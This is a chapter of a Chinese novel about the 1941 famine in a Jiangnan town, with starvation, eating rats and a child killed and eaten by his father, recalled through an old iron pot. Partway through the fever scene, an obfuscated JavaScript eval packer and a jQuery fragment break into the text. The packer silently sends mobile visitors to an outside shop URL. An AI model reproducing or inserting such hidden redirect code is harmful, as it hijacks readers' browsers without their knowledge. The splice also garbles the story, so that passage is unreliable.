沈未明在观澜堂的厨房里，找到了一口旧锅。
锅很大，是铸铁的。
很重。
上面，锈迹斑斑的。
还有，很多，黑乎乎的东西。
不知道是油，还是别的什么。
沈未明本来想，把它扔掉的。
可是，他搬了一下，没搬动。
太重了。
他就坐在灶台边，歇了一会儿。
歇着歇着，他就注意到，锅的内壁上，好像有字。
很淡，很淡的字。
像是，刻上去的。
又像是，用了很多年，磨出来的。
沈未明凑过去，仔细看了看。
上面刻着：
"民国三十年，冬。"
民国三十年，也就是1941年。
那时候，正是抗战最艰难的时候。
也是，江南□□的时候。
沈未明看着这行字，愣了很久。
他好像，闻到了一股味道。
一股，说不出来的味道。
像是，烧焦的味道。
又像是，饥饿的味道。
然后，他就看到了。
看到了，很多年前的那个冬天。
看到了，那个荒年。
民国三十年，冬天。
雾镇，已经三个月没下雨了。
不对，不止三个月。
从秋天开始，就没怎么下过雨。
田地里的庄稼，都干死了。
稻子，抽不出穗。
麦子，也长不高。
地里，裂得像乌龟壳似的。
一道一道的。
很深。
能塞进一个拳头。
老人们说，活了一辈子，没见过这么旱的年景。
比崇祯年间的大旱，还要厉害。
要出大事了。
沈家，也开始紧张了。
沈佩弦，把家里的存粮，都算了一遍。
算完之后，他的脸，就沉了下来。
存粮，不够。
按现在的吃法，最多，能撑到明年春天。
可是，谁知道，这旱情，什么时候能过去呢？
万一，明年还是旱呢？
那怎么办？
林微说，要不，我们也去买点粮吧。
趁现在，粮价还没涨得太厉害。
多囤一点。
沈佩弦摇了摇头。
他说，没用。
现在，到处都缺粮。
你有钱，也买不到。
而且，日本人还在打仗。
交通，都断了。
粮，运不进来。
囤，也囤不了多少。
林微说，那怎么办？
总不能，眼睁睁地，看着大家挨饿吧？
沈佩弦叹了口气。
他说，先省着点吃吧。
每天，少吃一顿。
稀饭，多掺点水。
能撑多久，算多久。
那时候，沈静言，才十二岁。
他还不懂事。
他不知道，什么是饥荒。
他只知道，最近，饭越来越稀了。
碗里的米，越来越少了。
水，越来越多了。
喝一碗，跑两趟茅房，就饿了。
他跟他娘说，娘，我饿。
林微就摸着他的头，说，乖，再忍忍。
等明年，收了麦子，就有饭吃了。
沈静言就点点头。
他信他娘的话。
他以为，明年，就会好了。
可是，他不知道。
明年，会更糟。
十一月的时候，粮价，开始疯涨了。
一天一个价。
早上，还能买一升米的钱。
到了下午，就只能买半升了。
再到晚上，可能就只能买一碗了。
街上，到处都是抢粮的人。
为了半袋米，能打死人。
还有，卖儿卖女的。
一个大姑娘，换不了半袋米。
更惨的是，路边，开始有饿死的人了。
一开始，每天一两个。
后来，越来越多。
到最后，每天都有十几个。
都是，从外地逃荒来的。
走到雾镇，走不动了。
就倒在路边。
死了。
也没人收尸。
就那么，扔在那里。
等着，野狗来吃。
沈静言，第一次见到死人，是在十一月的下旬。
那天，他跟着家里的伙计，去街上买药。
他爹，病了。
感冒，发烧。
本来，不是什么大病。
可是，在那个年头，一点小病，都可能要人命。
因为，没有药。
也没有，足够的营养。
身体，扛不住。
沈静言跟着伙计，走在街上。
就看到，路边，躺着一个人。
是个老太太。
穿着，破破烂烂的衣服。
脸上，脏得看不清模样。
她躺在那里，一动不动的。
眼睛，睁着。
看着天。
沈静言问伙计，王叔，她怎么了？
王叔看了一眼，说，死了。
沈静言吓了一跳。
死了？
他说，她怎么会死呢？
王叔叹了口气，说，饿的。
沈静言站在那里，看着那个老太太。
看了很久。
他不敢相信。
一个人，怎么会活活饿死呢？
那时候，他还不知道。
以后，他会见到更多。
多到，最后，都麻木了。
十二月的时候，情况，更糟了。
不仅，没有粮。
连水，都快没有了。
河里的水，都干了。
井里的水，也越来越少了。
每天，都要排队打水。
排好长好长的队。
有的人，排了一天，都打不到一桶水。
沈家，有一口深井。
水，还够吃。
可是，也得省着用。
以前，每天都要洗澡的。
现在，半个月，才洗一次。
衣服，也很少洗了。
每个人，身上都臭烘烘的。
像，叫花子似的。
可是，没人在乎。
命都快没了，谁还在乎，干不干净呢？
沈静言，也开始饿了。
真的饿。
以前，他还能忍。
现在，忍不了了。
每天，肚子都咕咕叫。
像有个小爪子，在里面挠似的。
挠得他，心慌。
挠得他，睡不着觉。
他开始，找东西吃。
找一切，能吃的东西。
树上的叶子。
地上的草。
还有，树皮。
他都吃过。
不好吃。
又苦，又涩。
难以下咽。
可是，饿极了，也管不了那么多了。
塞到嘴里，嚼一嚼，就咽下去了。
至少，能让肚子，有点东西。
不至于，空得难受。
有一次，沈静言在院子里，发现了一只老鼠。
瘦瘦的，小小的。
跑得很慢。
可能，也是饿的。
沈静言的眼睛，一下子就亮了。
他追了上去。
追了好久，才把那只老鼠抓住。
老鼠，在他手里，吱吱地叫。
挣扎着。
沈静言，却一点都不害怕。
他只想到，肉。
这是肉啊。
他已经，好几个月，没吃过肉了。
他拿着老鼠，跑到厨房。
找了点火，就把老鼠，烤了。
烤得，黑乎乎的。
焦焦的。
闻着，有一股，怪怪的香味。
沈静言，也不管烫不烫。
拿起来，就咬了一口。
香。
真香啊。
比他以前吃过的，任何东西，都香。
他三下五除二，就把那只老鼠，吃完了。
连骨头，都嚼碎了，咽了下去。
吃完了，他舔了舔手指头。
觉得，还没吃饱。
可是，已经没有了。
他就坐在灶边，回味着。
那股，肉的香味。
心里，又满足，又难过。
他怎么会，沦落到这个地步呢？
连老鼠，都吃了。
这件事，他没敢跟他爹娘说。
他怕，他们骂他。
也怕，他们难过。
他只是，偷偷地。
有时候，就去抓老鼠。
或者，抓别的什么东西。
虫子，蚂蚱，蚯蚓。
只要是活的，能吃的。
他都吃。
他觉得，自己像个野兽。
可是，他没办法。
他饿。
他想活下去。
沈佩弦的身体，越来越差了。
本来，他身体就不好。
这些年，又操心。
又吃不好。
就更差了。
他每天，都咳嗽。
咳得很厉害。
有时候，还咳血。
林微很担心。
她想，给沈佩弦，找点好吃的。
补补身体。
可是，什么都没有。
连米，都快没有了。
哪里还有什么，好吃的？
她只能，把自己碗里的饭，省出一半。
给沈佩弦吃。
她自己，就喝点汤。
吃点野菜。
她越来越瘦了。
脸，都凹进去了。
眼睛，显得特别大。
像两个，大坑似的。
沈静言看着他娘，心里，很疼。
他想，把自己的饭，省给娘吃。
可是，他娘不肯。
她说，你正在长身体。
得多吃点。
娘没事。
娘不饿。
沈静言知道，娘在撒谎。
她怎么会不饿呢？
她每天，吃得比谁都少。
干的活，比谁都多。
可是，他没办法。
他只能，偷偷地，把自己抓到的老鼠，或者虫子。
留一点，给他娘。
骗她说，是他吃剩下的。
他娘，每次都骂他。
说他，不懂事。
怎么能吃这种东西？
可是，骂归骂。
最后，还是会吃掉。
因为，她也饿。
过年的时候，情况，更糟了。
外面，开始有人吃人了。
一开始，是吃死人。
后来，死人不够吃了。
就开始，吃活人。
杀孩子，吃。
易子而食。
以前，沈静言只在书上，看到过这四个字。
他以为，那只是传说。
是古人编出来，吓唬人的。
没想到，现在，真的发生了。
就在他身边。
就在，这个他生活了十几年的小镇上。
有一天，沈静言的一个小伙伴，来找他玩。
那个小伙伴，叫狗蛋。
跟他一样大。
以前，他们经常一起玩。
可是，狗蛋家里，更穷。
饥荒一来，就更不行了。
狗蛋来找沈静言的时候，沈静言差点没认出他。
他瘦得，只剩一把骨头了。
眼睛，凸出来。
像个，骷髅似的。
他跟沈静言说，静言，你能不能，给我点吃的？
我饿。
我快要饿死了。
沈静言看着他，心里，很难受。
他想，给他点吃的。
可是，他自己，也没有多少。
而且，他爹娘，还在饿肚子。
他犹豫了很久。
最后，还是，偷偷地，拿了半块糠饼。
给了狗蛋。
那半块糠饼，是他省了三天，才省下来的。
本来，想留着，实在饿得不行了，再吃的。
狗蛋接过糠饼，狼吞虎咽地，就吃了下去。
吃完了，他舔了舔手指头。
看着沈静言，说，谢谢你，静言。
你真是个好人。
沈静言说，没事。
他说，狗蛋，你以后，要是饿了，就来找我。
我尽量，给你找点吃的。
狗蛋点了点头。
然后，就走了。
可是，从那以后，狗蛋就再也没来过。
沈静言，还挺想他的。
他想，狗蛋是不是，找到吃的了？
还是说，他家里，情况好起来了？
直到，有一天。
沈静言在街上，看到了狗蛋的娘。
她坐在路边，哭。
哭得很伤心。
沈静言走过去，问她，婶子，你怎么了？
狗蛋呢？
狗蛋的娘，抬起头，看着他。
她的眼睛，红通通的。
像两个，桃子似的。
她说，狗蛋……狗蛋没了。
沈静言愣了一下。
没了？
什么没了？
他说，婶子，你说什么呢？
狗蛋好好的，怎么会没了？
狗蛋的娘，哭得更厉害了。
她说，是他爹。
他爹，疯了。
饿疯了。
就……就把狗蛋……
她没说下去。
但是，沈静言懂了。
他的后背，一下子就凉了。
像被人，泼了一盆冰水似的。
他站在那里，浑身都在抖。
他不敢相信。
那可是，亲爹啊。
怎么能……怎么能吃自己的孩子呢？
可是，他知道，这是真的。
因为，他已经听说过，好几次了。
只是，他没想到，会发生在他认识的人身上。
会发生在，狗蛋身上。
那天，沈静言不知道，自己是怎么回家的。
他只觉得，脑子里，乱糟糟的。
一会儿，是狗蛋的样子。
一会儿，是狗蛋娘哭的样子。
一会儿，又是，那只被他烤着吃的老鼠。
他觉得，很恶心。
想吐。
可是，又吐不出来。
他回到家，就病倒了。
发烧。
说胡话。
嘴里，一直喊着，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735663|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狗蛋，狗蛋。
林微很着急。
她坐在床边，守着他。
给他擦汗。
给他喂水。
可是，沈静言的烧，一直退不下去。
林微没办法。
就去庙里，烧香拜佛。
求菩萨，保佑她的儿子。
让他，快点好起来。
她还，把自己手指，咬破了。
滴了几滴血，在水里。
给沈静言喝。
她说，这样，能驱邪。
能把附在身上的脏东西，赶走。
也不知道，是真的管用。
还是，沈静言自己，扛过来了。
过了三天，他的烧，终于退了。
人，也醒了。
只是，身体，还是很虚弱。
得慢慢养。
沈静言病好了之后，就变了。
变得，沉默寡言了。
也不出去玩了。
每天，就坐在院子里。
发呆。
也不知道，在想什么。
林微很担心。
她问他，言儿，你怎么了？
是不是，哪里不舒服？
沈静言摇了摇头。
他说，娘，我没事。
就是，有点累。
林微叹了口气。
她知道，这孩子，是受了惊吓了。
可是，她也没办法。
这种年头，能活着，就不错了。
别的，都不敢奢求了。
除夕那天，沈家，吃了一顿"年夜饭"。
说是年夜饭，其实，就是一锅粥。
还是，很稀很稀的粥。
里面，加了点野菜。
还有，一点点米。
三个人，围着桌子，坐着。
谁都没说话。
就那么，默默地，喝着粥。
外面，偶尔，会传来几声鞭炮响。
稀稀拉拉的。
不像过年。
倒像是，送葬的。
沈佩弦，喝了两口粥，就放下了碗。
他看着沈静言，说，言儿，对不起。
爹没用。
让你跟着我们，受苦了。
沈静言抬起头，看着他爹。
他爹，老了很多。
头发，全白了。
脸上的皱纹，深得像刀刻的似的。
眼睛里，也没有光了。
像一潭，死水。
沈静言说，爹，你别这么说。
我不苦。
能跟你们在一起，我就不苦。
沈佩弦笑了笑。
笑得，很勉强。
他摸了摸沈静言的头，没说话。
林微，坐在旁边，低着头。
眼泪，一滴一滴地，掉在碗里。
把粥，都打湿了。
那天晚上，沈静言做了一个梦。
他梦见，狗蛋了。
狗蛋，还是以前的样子。
胖乎乎的。
笑嘻嘻的。
他跟沈静言说，静言，来啊。
我们一起玩。
沈静言很高兴。
他跑过去，想跟狗蛋一起玩。
可是，跑着跑着，狗蛋就变了。
变得，瘦骨嶙峋的。
脸上的肉，都没了。
眼睛，凸出来。
像个骷髅。
他张着嘴，跟沈静言说，静言，我饿。
我好饿啊。
你给我点吃的，好不好？
沈静言吓得，转身就跑。
可是，他怎么跑，都跑不动。
脚底下，像粘了胶水似的。
狗蛋，就在后面追。
追着追着，他就醒了。
醒来的时候，一身的冷汗。
心跳得很快。
"咚咚咚"的。
像要，从嗓子眼里，跳出来似的。
他坐在床上，大口大口地喘气。
过了好久，才缓过来。
从那以后，他就经常做这个梦。
每次，都是狗蛋追着他，要吃的。
每次，都是一身冷汗地，醒过来。
这个梦，跟了他很多年。
直到他死，都没有摆脱。
沈未明读到这里，停了下来。
他抬起头，看了看那口旧锅。
锅，还是那口锅。
锈迹斑斑的。
静静地，躺在那里。
好像，什么都没发生过似的。
可是，沈未明知道。
这口锅，见证过那个荒年。
见证过，那些饥饿的日子。
见证过，那些死去的人。
也见证过，沈家的衰落。
他好像，还能闻到。
锅里，那股，野菜和糠的味道。
还有，一股，淡淡的，血腥味。
不知道，是他的幻觉。
还是，真的有。
沈未明站起身，活动了一下身体。
坐了太久，腿都麻了。
他走到厨房门口，推开门。
外面的阳光，很好。
照在身上，暖暖的。
院子里的桂花树，长得很茂盛。
绿油油的。
充满了生机。
谁能想到，八十多年前。
这里，曾经发生过那样的饥荒呢？
曾经，饿死过那么多人呢？
好像，都过去了。
好像，什么都没发生过似的。
可是，真的过去了吗？
沈未明不知道。
他只知道，有些事情，是不会过去的。
它会，刻在你的骨子里。
一代一代地，传下去。
就像，沈家的宿命一样。
躲不掉。
也逃不开。
沈未明在厨房门口，站了很久。
直到，太阳都快落山了。
他才转过身，往自己的房间走去。
走着走着，他突然觉得，肚子有点饿了。
很饿很饿。
像好几天，没吃饭似的。
他摸了摸肚子。
心里，有点奇怪。
他中午，明明吃过饭了啊。
怎么会这么饿呢？
难道，是刚才，看了太多关于饥荒的东西。
所以，被传染了？
沈未明摇了摇头。
他觉得，自己越来越奇怪了。
总是，出现一些，莫名其妙的感觉。
也许，是这座宅子，太邪门了。
也许，是他自己，太累了。
他加快脚步，往自己的房间走去。
他想，去找点东西吃。
不然，他怕自己，也会像梦里的狗蛋一样。
饿疯了。
风，吹过院子里的桂花树。
发出，沙沙的声音。
像有人，在叹气。
又像，有人在哭。
夕阳，把这座古老的宅子，照得金灿灿的。
像镀了一层金似的。
可是，金灿灿的下面。
又藏着多少，黑暗的秘密呢？
藏着多少，饥饿的灵魂呢？
没有人知道。
也许，只有这座宅子自己知道。
只有，那些死去的人知道。
他们，都还在这里。
守着这座宅子。
也守着，那个，永远都过不去的荒年。